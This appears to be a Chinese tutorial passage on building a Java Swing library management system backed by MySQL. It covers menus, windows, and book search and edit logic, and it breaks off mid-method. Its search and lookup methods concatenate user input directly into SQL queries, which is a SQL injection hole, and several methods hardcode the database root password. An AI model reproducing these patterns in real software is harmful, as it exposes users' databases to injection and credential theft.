{ setSize(1000, 650);//设置窗口大小 JMenuBar menuBar;//菜单栏 JMenu menuse;//菜单显示选项 图书系统 JMenu menuyh;//菜单显示选项 用户管理 JMenuItem[] jmenuzsgc;//菜单操作选项 menuBar = new JMenuBar();//创建菜单栏 menuse = new JMenu("图书系统");//创建菜单选项"图书系统" menuyh = new JMenu("用户管理");//创建菜单选项"图书系统" menuBar.add(menuse); //添加图书系统到菜单栏 menuBar.add(menuyh); //添加图书借阅到菜单栏 JMenuItem jmenuzsgcse = new JMenuItem("图书查询");//图书查询菜单选项 JMenuItem jmenuzsgcup = new JMenuItem("图书修改");//图书修改菜单选项 JMenuItem jmenuzsgcde = new JMenuItem("图书删除");//图书删除菜单选项 JMenuItem jmenuzsgcin = new JMenuItem("图书增添");//图书增添菜单选项 JMenuItem jmenuyhxz = new JMenuItem("新增用户");//图书管理系统使用者的增加 JMenuItem jmenuyhsc = new JMenuItem("删除用户");//图书管理系统使用者的删除 menuse.add(jmenuzsgcse);//添加图书查询选项到图书系统菜单栏中 menuse.add(jmenuzsgcup);//添加图书修改选项到图书系统菜单栏中 menuse.add(jmenuzsgcde);//添加图书删除选项到图书系统菜单栏中 menuse.add(jmenuzsgcin);//添加图书增添选项到图书系统菜单栏中 menuyh.add(jmenuyhxz);//添加新增用户选项到用户管理菜单栏中 menuyh.add(jmenuyhsc);//添加用户删除选项到用户管理菜单栏中 this.setJMenuBar(menuBar);//添加菜单栏到主窗体 //以下为用户管理菜单栏的选项按钮,此段添加选项点击事件 jmenuyhxz.addActionListener(new ActionListener() {//为菜单栏选项"用户新增"添加监听事件 @Override public void actionPerformed(ActionEvent e) { if (MainAp.staticdata.countreg == 0) {//如果注册用户窗口不存在,按下此按钮弹出注册窗口 staticdata.countreg = 1; new UpdataDef().updatadef();//操作失败信息框提示 new Register().register(); //显示注册窗口 } } }); jmenuyhsc.addActionListener(new ActionListener() {//为菜单栏选项"用户删除添加监听事件" @Override public void actionPerformed(ActionEvent e) { if (MainAp.staticdata.countuserdel == 0) { //如果删除用户窗口不存在,点击此按钮弹出删除用户窗口 staticdata.countuserdel = 1; new UpdataDef().updatadef();//操作失败信息框提示 new DelUser().delUser();//创建一个删除用户窗口 } } }); jmenuzsgcse.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { if (staticdata.count == 0) {//如果查询窗口不存在,数值0表示不存在,不存在则创建窗口 staticdata.count = 1;//设置窗口状态为1,表示窗口已经存在 new See2().see2();//调用see查询功能的第二个版本类文件//实例化类以及调用该类的方法、 } } });//添加图书查询选项的点击事件 jmenuzsgcup.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { if (staticdata.countup == 0) {//如果修改窗口不存在,0表示不存在,不存在则创建修改窗口 staticdata.countup = 1;//修改窗口存在,设置为1,1表示存在窗口 new Upd().upd();//实例化类以及调用该类的方法、 } } });//添加图书修改选项的点击事件 jmenuzsgcde.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { if (staticdata.countdel == 0) {//如果图书删除窗口不存在,0表示不存在,不存在则创建删除图书窗口 staticdata.countdel = 1;//设置图书删除窗口已经存在,设置值为1,防止创建多个删除图书的窗口 new Del().del();//实例化类以及调用该类的方法 } } });//添加图书删除选项的点击事件 jmenuzsgcin.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { if (staticdata.countadd == 0) {//如果新增图书窗口不存在,0表示不存在,不存在则创建新增图书窗口 staticdata.countadd = 1;//设置新增图书窗口存在,1表示存在 new UpdataDef().updatadef();//操作失败信息框提示 new Add().add();//创建新增图书窗口//实例化类以及调用该类的方法 } } });//添加图书增添选项的点击事件 setVisible(true);//设置菜单栏可见 repaint();//重绘刷新 mframe();//创建图书管理系统总目录总页面 }

首先声明该主界面窗口中需要的组件

private JPanel jPanel;//面板对象 private JLabel jLabel;//图书管理系统总标题 private JLabel jLabel2;//图书操作总标题 private JButton bse;//查看图书按钮 private JButton bup;//修改更新图书按钮 private JButton bde;//删除图书按钮 private JButton bin;//增加图书按钮

设置图书管理系统主界面

设置了各种组件的大小位置样式,添加了按钮的单击事件,单击事件即为创建增删改查窗口

void mframe() { jPanel = new JPanel();//创建面板对象 getContentPane().add(jPanel);//面板加入到显示容器中 setTitle("图书管理系统v1.0.1 by zyp");//设置窗口标题 setSize(1000, 650);//设置窗口大小 // setLayout(null);//设置窗口布局 //****此处不能设置绝对布局null setResizable(false);//设置窗口是否可以改变大小 setLocationRelativeTo(null);//窗口居中显示 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);//窗口关闭方式 this.setVisible(true);//设置容器窗口可见 jPanel.setVisible(true);//设置面板窗口可见 jPanel.setSize(300, 650);//设置面板对象的大小 //jPanel.setLocation(0,0);//窗口居中显示 jPanel.setLayout(null);//面板布局样式 jLabel = new JLabel("图书管理系统");//创建文本域,显示"图书管理系统"6个大字 jLabel2 = new JLabel("图书系统"); //显示图书系统小标题 Font font = new Font("Serif", Font.BOLD, 45);//设置文字大小 Font font2 = new Font("Serif", Font.BOLD, 28);//设置文字大小 jLabel.setFont(font);//图书管理系统总标题文字大小 jLabel2.setFont(font2);//图书操作标题应用文字大小 //jLabel.setBounds(374,-60,500,200);//"图书管理系统"总标题位置大小设定 jLabel.setBounds(374, -70, 500, 200);//"图书管理系统"总标题位置大小设定 //jLabel2.setBounds(135,100,180,65);//“图书系统”小标题位置大小设定 jLabel2.setBounds(135, 60, 180, 65);//“图书系统”小标题位置大小设定 jLabel.setForeground(Color.RED);//设置字体颜色 bse = new JButton("图书查询");//图书查询按钮创建 bup = new JButton("图书修改");//图书修改按钮创建 bde = new JButton("图书删除");//图书删除按钮创建 bin = new JButton("图书增添");//图书增添按钮创建 bse.setFont(font2);//按钮文字采用28号 bup.setFont(font2);//按钮文字采用28号 bde.setFont(font2);//按钮文字采用28号 bin.setFont(font2);//按钮文字采用28号 bse.setBounds(100, 150, 180, 65);//按钮的X,Y坐标,以及按钮的长,宽 bup.setBounds(100, 250, 180, 65);//按钮的X,Y坐标,以及按钮的长,宽 bde.setBounds(100, 350, 180, 65);//按钮的X,Y坐标,以及按钮的长,宽 bin.setBounds(100, 450, 180, 65);//按钮的X,Y坐标,以及按钮的长,宽 jPanel.add(bup);//按钮添加到面板容器 jPanel.add(bse);//按钮添加到面板容器 jPanel.add(bde);//按钮添加到面板容器 jPanel.add(bin);//按钮添加到面板容器 jPanel.add(jLabel2);//文本域添加到面板容器"图书系统"标题 jPanel.add(jLabel);//文本域添加到面板容器"图书管理系统大标题" bse.addMouseListener(new MouseListener() { @Override public void mouseClicked(MouseEvent e) { //鼠标点击事件执行的代码 if (staticdata.count == 0) {//如果查询窗口不存在,数值0表示不存在,不存在则创建窗口 staticdata.count = 1;//设置窗口状态为1,表示窗口已经存在 new See2().see2();//调用see查询功能的第二个版本类文件//实例化类以及调用该类的方法、 } } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } });//添加一个鼠标监听 //为修改按钮添加鼠标监听器 bup.addMouseListener(new MouseListener() {//为按钮添加监听器 @Override public void mouseClicked(MouseEvent e) {//添加鼠标单击事件 if (staticdata.countup == 0) {//如果修改窗口不存在,0表示不存在,不存在则创建修改窗口 staticdata.countup = 1;//修改窗口存在,设置为1,1表示存在窗口 new Upd().upd();//实例化类以及调用该类的方法、 } } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //为删除按钮添加鼠标事件 bde.addMouseListener(new MouseListener() { @Override public void mouseClicked(MouseEvent e) { if (staticdata.countdel == 0) {//如果图书删除窗口不存在,0表示不存在,不存在则创建删除图书窗口 staticdata.countdel = 1;//设置图书删除窗口已经存在,设置值为1,防止创建多个删除图书的窗口 new Del().del();//实例化类以及调用该类的方法 } } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //为新增添加按钮添加鼠标事件 bin.addMouseListener(new MouseListener() {//新增图书按钮添加鼠标监听器 @Override public void mouseClicked(MouseEvent e) {//鼠标单击事件 if (staticdata.countadd == 0) {//如果新增图书窗口不存在,0表示不存在,不存在则创建新增图书窗口 staticdata.countadd = 1;//设置新增图书窗口存在,1表示存在 new UpdataDef().updatadef();//新增失败信息框提示 new Add().add();//创建新增图书窗口//实例化类以及调用该类的方法 } } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); repaint();//重绘刷新 setVisible(true); }//mframe end

以下代码为静态代码类,此处声明的都是窗口是否存在的判断,以及需要静态变量存取,静态ID变量的设置以进行查询的静态变量的声明区域

static class staticdata { static int countreg = 0;//用于注册窗口界面只能存在一个 static int countregwin = 0;//用于注册窗口注册成功后弹出的成功注册窗口只能存在一个 static int count = 0;//用于使查询界面只能存在一个 static int countup = 0;//用于界面修改数据界面只能存在一个 static int countdel = 0;//用于删除图书界面只能存在一个 static int countadd = 0;//用于新增图书界面只能存在一个 static int countupdata = 0;//用于修改图书信息窗口界面只能存在一个 static int countwin = 0;//用于修改成功弹出的窗口只能存在一个 static int countwinadd = 0;//用于删除成功弹出的成功窗口只能存在一个 static int countdewin = 0;//用于删除成功弹出的窗口只能存在一个 static int countdef = 0;//用于修改失败弹出的信息窗口只能存在一个 static String bokname = "";//用于获取要修改的图书的书名//要修改的图书书名 static String bokname2 = "";//用于获取要删除的图书的书名//要删除的图书书名 static String bokauthor = "";//用于获取要修改的图书的作者 static BigDecimal bokprice = null;//用于获取要修改的图书的价格 static int bokamount = 0;//用于获取要修改的图书的数量 static String boktype = "";//用于获取要修改的图书的类型 static int upid = 0; //用于确定要修改的是哪一个ID,以ID为信息修改其他信息 static int deid2 = 0; //用于确定要删除的是哪一个ID,以ID为信息删除指定图书 //以下为删除用户信息的静态变量 static int deid3 = 0;//用于确定要删除的是哪一个用户ID,以ID为准删除指定用户 static String user = "";//用于获取要删除的用户字符串信息 static int countuserdel = 0;//用于使用户删除窗口界面只能存在一个 static int countuserdelwin = 0;//用于用户删除成功后的提示窗只能存在一个 } //static staticdata end

查询图书窗口See2类,继承JFrame窗体类

首先声明需要使用到的组件

private String booktext;//查询文本框中的内容 private JTextField textField;//声明图书查询的文本框 private JPanel jPanel2;//声明面板2 private JButton bse;//查询图书按钮 private JLabel jLabel;//查询书籍 的文本域信息 private JTable jtable;//声明表格 Font font2 = new Font("Serif", Font.BOLD, 28);//设置文字大小

以下为该类的类方法

设置了各种组件的大小位置样式,且为按钮添加了鼠标监听器监听事件,方法中调用seeall()方法,使窗口初始显示图书表t_book中的所有数据,当有查询事件时,移除面板2中的全部内容,显示seeall2();中查询到的图书数据到窗体的表格中,seeall()搜索全部图书信息显示到表格,seeall2()模糊查询到的图书信息显示到表格

注意getContentPane().add(jPanel2);//把jpanel2添加到容器中***极其重要的代码

void see2() { jPanel2 = new JPanel();//创建面板2 // jPanel = new JPanel(); //创建面板1 MainAp.staticdata.count = 1;//设置该窗口是否存在,这里赋值为0,表示该窗口已经存在 jtable = new JTable();//创建数据表格 this.setSize(890, 610);//查询窗口的大小 this.setTitle("图书查询");//设置窗口标题 this.setLayout(null);//设置窗口布局 this.setLocationRelativeTo(null);//窗口居中显示 setResizable(false);//设置窗口是否可以改变大小 jLabel = new JLabel("输入图书名称可查询");//输入图书名称可查询 文本域的内容 bse = new JButton("图书查询");//图书查询按钮创建,并赋值"图书查询" textField = new JTextField(); //文本框创建,用于输入图书名称信息 bse.setFont(font2);//查询按钮文字采用28号 textField.setFont(font2);//图书查询窗口文字大小使用28号字体 jLabel.setFont(font2);//为文本信息设置字体大小,此处为:输入图书名称可查询 textField.setBounds(60, 250, 190, 55);//图书查询文本框位置大小设定 bse.setBounds(70, 100, 180, 65);//图书查询按钮位置大小设定 jLabel.setBounds(22, 190, 280, 55);//图书名称查询文本域信息位置大小设定 jtable.setBounds(300,0,800,600);//设置表格的大小以及位置 add(textField);//添加文本框到面板,文本框为 填写的查询图书信息 add(bse);//按钮添加到面板1容器,查询按钮 add(jLabel);//文本内容为:输入图书名称可查询,文本域 jPanel2.setBounds(300,0,500,480);//设置面板2的大小以及位置 jPanel2.setBackground(Color.GRAY); // 设置面板2颜色为黄色背景 jPanel2.add(jtable);//添加表格到面板2 seeall();//默认显示所有图书信息 //以下代码极其重要,是将表格面板添加至窗口的重要代码 getContentPane().add(jPanel2);//得到当前哦那个其,把jpanel2添加到容器中***极其重要的代码 setVisible(true);//设置窗体可见 repaint(); bse.addMouseListener(new MouseListener() {//为查询按钮添加鼠标监听器 @Override public void mouseClicked(MouseEvent e) {//鼠标点击事件 jPanel2.removeAll();//移除面板2中所有的内容 System.out.println(gain(textField));//输出显示查询文本框中的信息 booktext = gain(textField);//使用gain方法获得文本框中的内容信息并赋值给booktext seeall2(booktext);//将booktext传入seeall2方法中 repaint();//窗体重绘 setVisible(true);//设置窗口内容可见 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); setVisible(true);//设置窗口内容可见 this.addWindowListener(new WindowAdapter() {//窗口关闭执行的代码 public void windowClosing(WindowEvent e) {//关闭窗口时执行的事件 super.windowClosing(e); MainAp.staticdata.count = 0;//设置该窗口是否存在,这里重置为0,方便下次创建 } }); }

显示所有图书信息

关键在于创建了表格模型,设置了表格列名,以及添加表格模型到表,并add添加到滚动窗口中,JScrollPane组件

void seeall() {//默认显示所有图书信息 // 数据库连接配置 String url = "jdbc:mysql://localhost:3306/booksystem"; String user = "root"; String password = "123456"; // 表格列名 String[] columnNames = {"ID", "BookName", "BookAuthor", "Price", "Amount", "BookType"}; // 创建表格的数据模型 DefaultTableModel model = new DefaultTableModel(columnNames, 0);//创建表格模型 { try { // 加载数据库驱动 Class.forName("com.mysql.cj.jdbc.Driver"); // 建立连接 Connection con = DriverManager.getConnection(url, user, password); // 创建Statement Statement stmt = con.createStatement(); String sql = "select * from t_book"; // 执行查询 //ResultSet rs = stmt.executeQuery("select * from t_book");//原始语句 ResultSet rs = stmt.executeQuery(sql);//执行sql代码,并返回信息到rs // 遍历结果集 while (rs.next()) {//循环遍历rs得到的信息 // 根据列名获取数据 int id = rs.getInt("ID"); String name = rs.getString("BookName"); String author = rs.getString("BookAuthor"); BigDecimal price = rs.getBigDecimal("bookprice"); int amount = rs.getInt("bookamount"); String BookType = rs.getString("BookType"); // 将数据添加到表格模型 model.addRow(new Object[]{id, name, author, price, amount, BookType});//添加到表格模型中 } // 关闭资源 rs.close(); stmt.close(); con.close(); } catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); } } jtable = new JTable(model);//表格模型添加到表 jPanel2.add(new JScrollPane(jtable)); // 使用滚动面板以防表格太大**** }// seeall()方法 end

seeall2()方法类似,难点在于sql语句的编写上

void seeall2(String search) {//根据传入的字符串模糊查询图书 // time = 1; String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '%" + search + "%'"; //String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '" + search + "'"; //实验成功 ::String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '"+ search +"'"; // 数据库连接配置 String url = "jdbc:mysql://localhost:3306/booksystem"; String user = "root"; String password = "123456"; // 表格列名 String[] columnNames = {"ID", "BookName", "BookAuthor", "Price", "Amount", "BookType"};//设置列表名 // 创建表格的数据模型 DefaultTableModel model = new DefaultTableModel(columnNames, 0); { try { // 加载数据库驱动 Class.forName("com.mysql.cj.jdbc.Driver"); // 建立连接 Connection con = DriverManager.getConnection(url, user, password); // 创建Statement Statement stmt = con.createStatement(); //String sql = "select * from t_book"; // 执行查询 //ResultSet rs = stmt.executeQuery("select * from t_book");//原始语句 ResultSet rs = stmt.executeQuery(sql2); // 遍历结果集 while (rs.next()) { // 根据列名获取数据 int id = rs.getInt("ID"); String name = rs.getString("BookName"); String author = rs.getString("BookAuthor"); BigDecimal price = rs.getBigDecimal("bookprice"); int amount = rs.getInt("bookamount"); String BookType = rs.getString("BookType"); // 将数据添加到表格模型 model.addRow(new Object[]{id, name, author, price, amount, BookType});//添加数据信息到表格模型 } // 关闭资源 rs.close(); stmt.close(); con.close(); } catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); } } jtable = new JTable(model);//表格模型添加到表 jPanel2.add(new JScrollPane(jtable)); // 使用滚动面板以防表格太大**** }//seeall2() end

P3 end

P4:

P4,图书修改

创建一个图书修改的Upd类,继承JFrame类

声明需要使用到的组件

private String booktext;//修改文本框中的内容 private JLabel jLabel;//修改书籍 的文本域信息 private JLabel jLabel2;//所要修改成的书籍 的文本域信息 // private JLabel jLabel3;//updata面板 文本域,信息为需要修改的图书名字 // // private JLabel jLabel4;//updata面板 文本域,信息为需要修改的图书作者 // // private JLabel jLabel5;//updata面板 文本域,信息为需要修改的图书价格 // // private JLabel jLabel6;//updata面板 文本域,信息为需要修改的图书数量 // // private JLabel jLabel7;//updata面板 文本域,信息为需要修改的图书类型 private JButton bup;//查询图书按钮 private JButton bupdata;//修改图书信息按钮声明,进入updata面板界面 // private JButton bupdata2;//updata界面 修改图书信息按钮声明,完成数据修改的按钮 private JTextField textField;//声明图书修改的文本框 private JTextField textField2;//声明图书所要修改成为的名称的文本框//变更为显示要修改的目标书籍 // private JTextField textField3;//updata面板 文本框,信息为需要修改的图书名字 // // private JTextField textField4;//updata面板 文本框,信息为需要修改的图书作者 // // private JTextField textField5;//updata面板 文本框,信息为需要修改的图书价格 // // private JTextField textField6;//updata面板 文本框,信息为需要修改的图书数量 // // private JTextField textField7;//updata面板 文本框,信息为需要修改的图书类型 Font font2 = new Font("Serif",Font.BOLD,28);//设置文字大小 //----------------分割线

创建一个类方法upd(),该方法设置了各个组件的位置大小格式,并为按钮添加事件,设置了修改图书信息按钮不可用,根据ID查询到图书名称后"修改图书信息"可用

public void upd(){ //修改图书内容的主窗体 JPanel jPanel = new JPanel();//创建面板1 JPanel jPanel2 = new JPanel();//创建面板2 JPanel jPanel3 = new JPanel();//创建面板3 JPanel jPanel4 = new JPanel();//创建面板4 //区分面板的颜色信息被注释掉,这里采用了面板JPanel添加组件 // jPanel.setBackground(Color.RED); // 设置面板颜色为红色背景 // jPanel2.setBackground(Color.YELLOW); // 设置面板颜色为蓝色背景 // jPanel3.setBackground(Color.PINK); // 设置面板颜色为蓝色背景 // jPanel4.setBackground(Color.GREEN);//设置面板颜色为绿色背景 this.add(jPanel);//添加面板到窗体容器 this.add(jPanel2);//将面板2添加到窗体 this.add(jPanel3);//将面板3添加到窗体 this.add(jPanel4);//将面板4添加到窗体 jPanel.setBounds(0,0,300,48);//设置面板1的大小以及位置 jPanel2.setBounds(0,55,300,98);//设置面板2的大小以及位置 jPanel3.setBounds(0,155,300,108);//设置面板3的大小以及位置 jPanel4.setBounds(0,275,300,88);//设置面板4的大小以及位置 //this.setSize(500,410);//设置窗体大小 this.setSize(310,410);//设置窗体大小 setResizable(false);//设置窗口是否可以改变大小 //this.setResizable(false); this.setTitle("图书修改");//设置窗口标题 this.setLayout(null);//设置窗口布局 setLayout(null); //this.setLayout(new BorderLayout(10,25)); //默认为0,0;水平间距10,垂直间距5 //this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);//设置窗体关闭方式 this.setLocationRelativeTo(null);//窗口居中显示 this.setVisible(true);//设置窗体可见 //jPanel.setVisible(true);// bupdata = new JButton("修改图书信息");//创建修改图书按钮 bupdata.setFont(font2);//设置按钮文字大小格式 bupdata.setBounds(0,400,180,65); bup = new JButton("查询书名"); bup.setFont(font2);//按钮文字采用28号 bup.setBounds(0,300,180,65); jLabel2 = new JLabel("书籍名称为");//创建文本域并赋值,填写内容 jLabel2.setFont(font2);//为文本域中的内容设定字体大小 jLabel2.setBounds(0,0,280,55);//设置文本域的位置以及尺寸大小 jLabel = new JLabel("输入要修改的图书ID");//创建文本域并赋值,填写内容 jLabel.setFont(font2);//为文本域中的内容设定字体大小 jLabel.setBounds(0,0,280,55);//设置文本域的位置以及尺寸大小 textField = new JTextField(10);//创建图书修改的文本框 textField.setFont(font2);//图书修改文本域文字大小使用28号字体 textField.setLocation(0,20);//图书修改文本框位置大小设定 textField2 = new JTextField(10);//创建图书修改的文本框//图书修改文本框变更为目标书籍名称 textField2.setText("这里显示修改的书");//设置目标修改图书文本框的默认显示内容 textField2.setFont(font2);//图书修改文本域文字大小使用28号字体 textField2.setBounds(0,0,280,55);//图书修改文本框位置大小设定 jPanel2.add(textField);//添加文本框到面板2,文本框为要输入的书籍ID jPanel3.add(textField2);//添加文本框到面板3,文本框为目标图书的书名 jPanel3.add(bup);//查询书籍按钮添加到面板3 jPanel4.add(bupdata);//修改书籍名称按钮添加到面板4 repaint(); jPanel.add(jLabel);//添加文本域到面板1中 jPanel2.add(jLabel2);//添加文本域到面板1中 this.setVisible(true);//设置窗体可见 setVisible(true);//设置窗体可见 bupdata.setEnabled(false);//设置"修改图书信息"按钮不可见,除非查出来了书籍信息 //这里按下按钮可以出现图书名称信息 .另外加一个修改失败后会有怎样的行为的信息窗,已找到,就在这里 bupdata.addMouseListener(new MouseListener() {//为修改信息按钮添加鼠标监听器 @Override public void mouseClicked(MouseEvent e) {//鼠标单击事件 if(MainAp.staticdata.countupdata == 0){//当该窗口不存在时可以创建该窗口 MainAp.staticdata.countupdata = 1;//设置该窗体状态以及存在,防止创建多个该窗体 new Updata().updata();//实例化一个修改书籍信息的界面 new UpdataDef().updatadef();//修改失败信息框提示 } } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //查询键按下出现书籍信息后,修改图书信息按钮激活,可以按下,这里updata按键要加一个新的指示是否成功修改的信息窗, bup.addMouseListener(new MouseListener() {//为查询按钮添加鼠标监听器 @Override public void mouseClicked(MouseEvent e) {//鼠标点击事件 //jPanel2.removeAll();//移除面板2中所有的内容 //****System.out.println(gain(textField));//输出显示查询文本框中的信息 booktext = gain(textField);//使用gain方法获得文本框中的内容信息并赋值给booktext //Object object = updata(booktext);//将booktext传入seeall2方法中 updata(booktext);//获得需要查询的文本框内容并进行数据库查找,查找书籍的ID textField2.setText(MainAp.staticdata.bokname);//修改文本框内容,内容为要修改的书籍名称 if(MainAp.staticdata.bokname != ""){ //当静态字符串bokname不为空,bokname有内容时进行此判断 bupdata.setEnabled(true);//修改"修改图书信息"按钮进入激活可按状态 } setVisible(true);//设置窗口内容可见 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); this.addWindowListener(new WindowAdapter() {//添加窗体监听器 public void windowClosing(WindowEvent e) {//窗口关闭时执行的代码 super.windowClosing(e); MainAp.staticdata.countup = 0; //countup重置为0 } }); }

本类中还有工具方法,获取文本框中的内容的方法工具类方法:

private String gain(JTextField textField) {//获取文本框中的文本信息的方法 String text = textField.getText();//获取文本框中的内容信息 //System.out.println("获取文本框内容");//提示信息 return text;//返回框中的内容 }

该类中还存在有类方法:updata(),该类传入ID数,根据ID数查询图书名称,查询到名称可进行图书修改操作

void updata(String search) {//传入要查询的ID,进行数据库查询,并显示 // time = 1; // int id = 0; // String name = null; // String author = null; // BigDecimal price = null; // int amount = 0; // String BookType = null; //String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '%" + search + "%'"; //String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '" + search + "'"; //String sql2 = "select id form t_book where id = ?"; //SELECT 字段1,字段2,... from 表名 where name like '%豪' String sql2 = "select id,bookname,bookauthor,bookprice,bookamount,booktype from t_book where id LIKE'" + search + "'"; // 数据库连接配置 String url = "jdbc:mysql://localhost:3306/booksystem"; String user = "root"; String password = "123456"; // 表格列名 //String[] columnNames = {"ID", "BookName", "BookAuthor", "Price", "Amount", "BookType"}; // 创建表格的数据模型 //DefaultTableModel model = new DefaultTableModel(columnNames, 0); // Object[] obj = new Object[]{id, name, author, price, amount, BookType};; { try { // 加载数据库驱动 Class.forName("com.mysql.cj.jdbc.Driver"); // 建立连接 Connection con = DriverManager.getConnection(url, user, password); // 创建Statement Statement stmt = con.createStatement(); //PreparedStatement pstmt = con.prepareStatement(sql2); //pstmt.set //String sql = "select * from t_book"; // 执行查询 //ResultSet rs = stmt.executeQuery("select * from t_book");//原始语句 ResultSet rs = stmt.executeQuery(sql2); // 遍历结果集 while (rs.next()) { // 根据列名获取数据 int id = rs.getInt("ID"); String name = rs.getString("BookName"); String author = rs.getString("BookAuthor"); BigDecimal price = rs.getBigDecimal("bookprice"); int amount = rs.getInt("bookamount"); String BookType = rs.getString("BookType"); //*****System.out.println(name); System.out.println(id); MainAp.staticdata.upid = id;//查询到的图书ID写入到静态类的属性中 System.out.println(name); MainAp.staticdata.bokname = name;//查询到的图书名称写入到静态类的属性中 System.out.println(author); MainAp.staticdata.bokauthor = author;//查询到的图书作者写入到静态类的属性中 System.out.println(price); MainAp.staticdata.bokprice = price;//查询到的图书价格写入到静态类的属性中 System.out.println(amount); MainAp.staticdata.bokamount = amount;//查询到的图书数量写入到静态类的属性中 System.out.println(BookType); MainAp.staticdata.boktype = BookType;//查询到的图书类型写入到静态类的属性中 // 将数据添加到表格模型 //model.addRow(new Object[]{id, name, author, price, amount, BookType}); ; } // 关闭资源 rs.close(); stmt.close(); con.close(); } catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); } } //-------------------------------------------------- //jtable = new JTable(model);//表格模型添加到表 //jPanel2.add(new JScrollPane(jtable)); // 使用滚动面板以防表格太大**** // 创建表格 // JTable table = new JTable(model); //关键注释 // 创建滚动面板来容纳表格 //JScrollPane scrollPane = new JScrollPane(table); //关键注释 //分割线------------------------------------ }//updata() end

接下来介绍Updata类

创建一个类 Updata,首先声明要使用到的组件

//图书数量不为负数的信息框内容声明 private JFrame jframeamount;//图书数量不为负数提示框, private JLabel jLabel;//数量内容不为负数,体术信息框内容 private JButton bdef;//确认信息按钮,图书数量不为负数窗体的确认按钮 Font font2 = new Font("Serif", Font.BOLD, 28);//设置文字大小 private JButton bupdata2;//updata界面 修改图书信息按钮声明,完成数据修改的按钮 private JLabel jLabel3;//updata面板 文本域,信息为需要修改的图书名字 private JLabel jLabel4;//updata面板 文本域,信息为需要修改的图书作者 private JLabel jLabel5;//updata面板 文本域,信息为需要修改的图书价格 private JLabel jLabel6;//updata面板 文本域,信息为需要修改的图书数量 private JLabel jLabel7;//updata面板 文本域,信息为需要修改的图书类型 private JTextField textField3;//updata面板 文本框,信息为需要修改的图书名字 private JTextField textField4;//updata面板 文本框,信息为需要修改的图书作者 private JTextField textField5;//updata面板 文本框,信息为需要修改的图书价格 private JTextField textField6;//updata面板 文本框,信息为需要修改的图书数量 private JTextField textField7;//updata面板 文本框,信息为需要修改的图书类型

创建一个类方法updata(),该类中创建一个JFrame对象,并对该JFrame进行设置,设置各种组件的位置大小格式,并为按钮添加事件,将各种信息的文本框中的内容获取,若各种信息符合规则,则将新信息更新进数据库中,使用updata2(BOKname,BOKauthor,BOKprice,BOKamount,BOKtype)该方法判断信息是否符合规则,并更新进数据库中。

void updata() { JFrame jframe = new JFrame();//创建窗口jframe JPanel jPanel5 = new JPanel();//创建面板5 //jframe.getContentPane().setSize(); jframe.setSize(700, 700);//设置窗体大小 //jframe.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);//设置窗体关闭方式 //jframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);//设置窗体关闭方式//不可释放会连锁反应 jframe.setLocationRelativeTo(null);//窗口居中显示 jframe.setResizable(false);//设置窗口是否可以改变大小 jframe.setVisible(true);//设置窗体可见 //jPanel5.setBackground(Color.RED); // 设置面板颜色为红色背景 jframe.setLayout(null);//设置窗体布局为绝对布局 bupdata2 = new JButton("确认修改");//创建"确认修改"按钮 bupdata2.setFont(font2);//设置按钮字体大小格式 bupdata2.setBounds(244, 525, 180, 65);//设置"确认修改"按钮位置大小 jframe.add(bupdata2);//添加"确认修改"按钮到窗体 jLabel3 = new JLabel("图书名称修改为");//图书名称文本域 jLabel3.setFont(font2);//设置文本域字体大小格式 jLabel3.setBounds(83, 10, 220, 55);//设置文本域的出现位置以及大小 jframe.add(jLabel3);//将文本域3添加到jframe窗体中 textField3 = new JTextField();//updata面板 文本框,信息为需要修改的图书名字 textField3.setFont(font2);//设置文本域字体大小格式 textField3.setBounds(320, 10, 280, 55);//图书名字文本框位置大小设定 textField3.setText(MainAp.staticdata.bokname);//设置文本框默认文字信息,此处为书的名称 jframe.add(textField3);//将文本框3添加到jframe窗体中 jLabel4 = new JLabel("图书作者修改为");//图书作者文本域 jLabel4.setFont(font2);//设置文本域字体大小格式 jLabel4.setBounds(83, 110, 220, 55);//设置文本域的出现位置以及大小 jframe.add(jLabel4);//将文本域4添加到jframe窗体中 textField4 = new JTextField();//updata面板 文本框,信息为需要修改的图书作者 textField4.setFont(font2);//设置文本域字体大小格式 textField4.setBounds(320, 110, 280, 55);//图书名字文本框位置大小设定 textField4.setText(MainAp.staticdata.bokauthor);//设置文本框默认文字信息,此处为书的作者 jframe.add(textField4);//将文本框4添加到jframe窗体中 jLabel5 = new JLabel("图书价格修改为");//图书价格文本域 jLabel5.setFont(font2);//设置文本域字体大小格式 jLabel5.setBounds(83, 210, 220, 55);//设置文本域的出现位置以及大小 